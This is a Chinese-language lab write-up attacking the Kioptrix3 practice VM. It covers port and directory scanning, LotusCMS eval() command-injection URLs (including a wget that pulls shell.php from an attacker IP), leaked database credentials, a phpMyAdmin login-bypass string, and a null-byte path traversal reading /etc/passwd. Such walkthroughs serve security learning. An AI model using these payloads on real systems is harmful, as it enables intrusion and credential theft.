靶场练习 - Kioptrix3

靶场搭建

复制后,直接添加一张网卡,配置成NAT模式

IP地址:192.168.74.135

信息收集

nmap

快速做一个全端口扫描,看一下开了哪服务

┌──(root㉿kali)-[~/Desktop]
└─# nmap -sS -p- 192.168.74.135
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-07 01:17 EDT
Nmap scan report for bogon (192.168.74.135)
Host is up (0.0016s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
MAC Address: 00:0C:29:F7:33:D5 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 7.68 seconds

只有22、80,那么可以考虑SSH爆破和80层面的进攻

再收集一下Web层面的信息

dirsearch

D:\PentestTool\Pentest_ToolBox\Gather_Infomation\dirsearch>dirsearch -u 192.168.74.135
dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
  from pkg_resources import DistributionNotFound, VersionConflict

  _|. _ _  _  _  _ _|_    v0.4.3
 (_||| _) (/_(_|| (_| )

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460

Output File: D:\PentestTool\Pentest_ToolBox\Gather_Infomation\dirsearch\reports\_192.168.74.135\_24-04-07_14-35-18.txt

Target: http://192.168.74.135/

[14:35:20] Starting:
[14:35:25] 403 -  332B  - /.ht_wsr.txt
[14:35:25] 403 -  335B  - /.htaccess.bak1
[14:35:25] 403 -  335B  - /.htaccess.orig
[14:35:25] 403 -  337B  - /.htaccess.sample
[14:35:25] 403 -  335B  - /.htaccess.save
[14:35:25] 403 -  335B  - /.htaccess_orig
[14:35:25] 403 -  336B  - /.htaccess_extra
[14:35:25] 403 -  333B  - /.htaccessOLD
[14:35:25] 403 -  325B  - /.htm
[14:35:25] 403 -  334B  - /.htaccessOLD2
[14:35:25] 403 -  326B  - /.html
[14:35:25] 403 -  335B  - /.htpasswd_test
[14:35:25] 403 -  333B  - /.htaccess_sc
[14:35:25] 403 -  331B  - /.htpasswds
[14:35:25] 403 -  332B  - /.httr-oauth
[14:35:25] 403 -  333B  - /.htaccessBAK
[14:36:02] 301 -  355B  - /cache  ->  http://192.168.74.135/cache/
[14:36:10] 200 -  688B  - /core/fragments/moduleInfo.phtml
[14:36:10] 301 -  354B  - /core  ->  http://192.168.74.135/core/
[14:36:12] 403 -  325B  - /data
[14:36:12] 403 -  326B  - /data/
[14:36:12] 403 -  337B  - /data/adminer.php
[14:36:12] 403 -  337B  - /data/autosuggest
[14:36:12] 403 -  334B  - /data/backups/
[14:36:12] 403 -  350B  - /data/DoctrineORMModule/cache/
[14:36:12] 403 -  332B  - /data/debug/
[14:36:12] 403 -  332B  - /data/cache/
[14:36:12] 403 -  350B  - /data/DoctrineORMModule/Proxy/
[14:36:12] 403 -  332B  - /data/files/
[14:36:12] 403 -  331B  - /data/logs/
[14:36:12] 403 -  335B  - /data/sessions/
[14:36:12] 403 -  330B  - /data/tmp/
[14:36:20] 200 -   23KB - /favicon.ico
[14:36:23] 301 -  357B  - /gallery  ->  http://192.168.74.135/gallery/
[14:36:44] 301 -  357B  - /modules  ->  http://192.168.74.135/modules/
[14:36:44] 200 -    2KB - /modules/
[14:36:54] 301 -  360B  - /phpmyadmin  ->  http://192.168.74.135/phpmyadmin/
[14:36:56] 401 -  520B  - /phpmyadmin/scripts/setup.php
[14:36:56] 200 -    8KB - /phpmyadmin/
[14:36:56] 200 -    8KB - /phpmyadmin/index.php
[14:37:18] 301 -  355B  - /style  ->  http://192.168.74.135/style/
[14:37:27] 200 -   18B  - /update.php

Task Completed

点点看看,首页有登录和CMS信息、modules里面有一个备份文件夹、gallery中存在注入点,但是URL是写死的,需要修改host文件进行,我懒得改。
还有就是phpmyadmin可以尝试登录

汇总

可以尝试的攻击路线如下:

  • ssh爆破
  • phpmyadmin爆破
  • CMS利用
  • 登录页面和文章页面sql注入

漏洞利用

爆破类的懒得进行,没有好用的字典

Lotus CMS

直接searchsploit看看有没有相应的攻击模块

┌──(root㉿kali)-[~]
└─# searchsploit LotusCMS   
------------------------------------------- ---------------------------------
 Exploit Title                             |  Path
------------------------------------------- ---------------------------------
LotusCMS 3.0 - 'eval()' Remote Command Exe | php/remote/18565.rb
LotusCMS 3.0.3 - Multiple Vulnerabilities  | php/webapps/16982.txt
------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

看到有个rb的文件,让我想去metasploit找一找是不是有相应的攻击模块,这样方便一些

msf6 > search lotusCMS

Matching Modules
================

   #  Name                              Disclosure Date  Rank       Check  Description
   -  ----                              ---------------  ----       -----  -----------
   0  exploit/multi/http/lcms_php_exec  2011-03-03       excellent  Yes    LotusCMS 3.0 eval() Remote Command Execution                                   


Interact with a module by name or index. For example info 0, use 0 or use exploit/multi/http/lcms_php_exec   

那么我们直接利用就好了

试了一下,明明可以利用的,但是就是不行,提示[*] Exploit completed, but no session was created.。不清楚问题出现在了什么地方,我还尝试吧searchsploit中的模块导入metasploit中,效果是一样的。

研究了一下这个攻击模块的具体内容,发现了exp的点,其实就是一个命令执行

http://192.168.74.1135/index.php?page='.phpinfo().'

这样就可以进行执行,查看一下权限:http://192.168.74.135/index.php?page=%27.system(%27whoami%27).%27

发现是www-data的用户,那么权限十分有限

通过RCE上传一个shell.php:http://192.168.74.135/index.php?page=%27.system(%27wget%20192.168.74.129:8888%20-O%20/tmp/shell.php%27).%27

然后反弹shellhttp://192.168.74.135/index.php?page=%27.system(%27php%20/tmp/shell.php%27).%27

没弹出来,发现是因为没有执行权限啊J8:http://192.168.74.135/index.php?page=%27.system(%27ls%20-al%20/tmp/shell.php%27).%27

查看一下哪里有执行权限:http://192.168.74.135/index.php?page=%27.system(%27ls%20-al%27).%27

上传一下看看:192.168.74.135/index.php?page='.system('wget 192.168.74.129:8888 -O core/shell.php').'
同样没有执行权限,G

查看一下漏洞出现的位置:

if(file_exists("core/plugs/".$plugin."Starter.php")){
    //Include Page fetcher
    include("core/plugs/".$plugin."Starter.php");

    //Fetch the page and get over loading cache etc...
    eval("new ".$plugin."Starter('".$page."');");
    
}

也许可以尝试向他这个文件夹都没有执行权限,那尝试尝试向文件写入一句话?

查了一下权限,都没有写权限卡住了,那回到了读取/etc/shadow,爆破ssh密码了。郁闷

灵光一闪,翻一下php文件,找一找数据库连接的账号?

phpmyadmin

查看数据库账号密码:http://192.168.74.135/index.php?page=%27.system(%27tac%20f%20gallery/gconfig.php%27).%27

账号:root,密码:fuckeyou

可以登录到phpmyadmin中去

登进去之后发现版本是2.11.3的,有万能密码

账号:'localhost'@'@",密码为空就能直接登录进去

但是登录进来之后没找到getshell的方法,累了

任意文件读取

看到了system参数,疑心大发,fuzz一下发现存在任意文件读取:http://192.168.74.135/index.php?system=../../../../../etc/passwd%00A,需要进行00截断

其实这里看源代码是一个文件包含,也可以尝试上传一句话后文件包含进入,累了不想改了。

没拿下来shell,有拿下来shell的大哥求指点迷津

评论区
头像
文章目录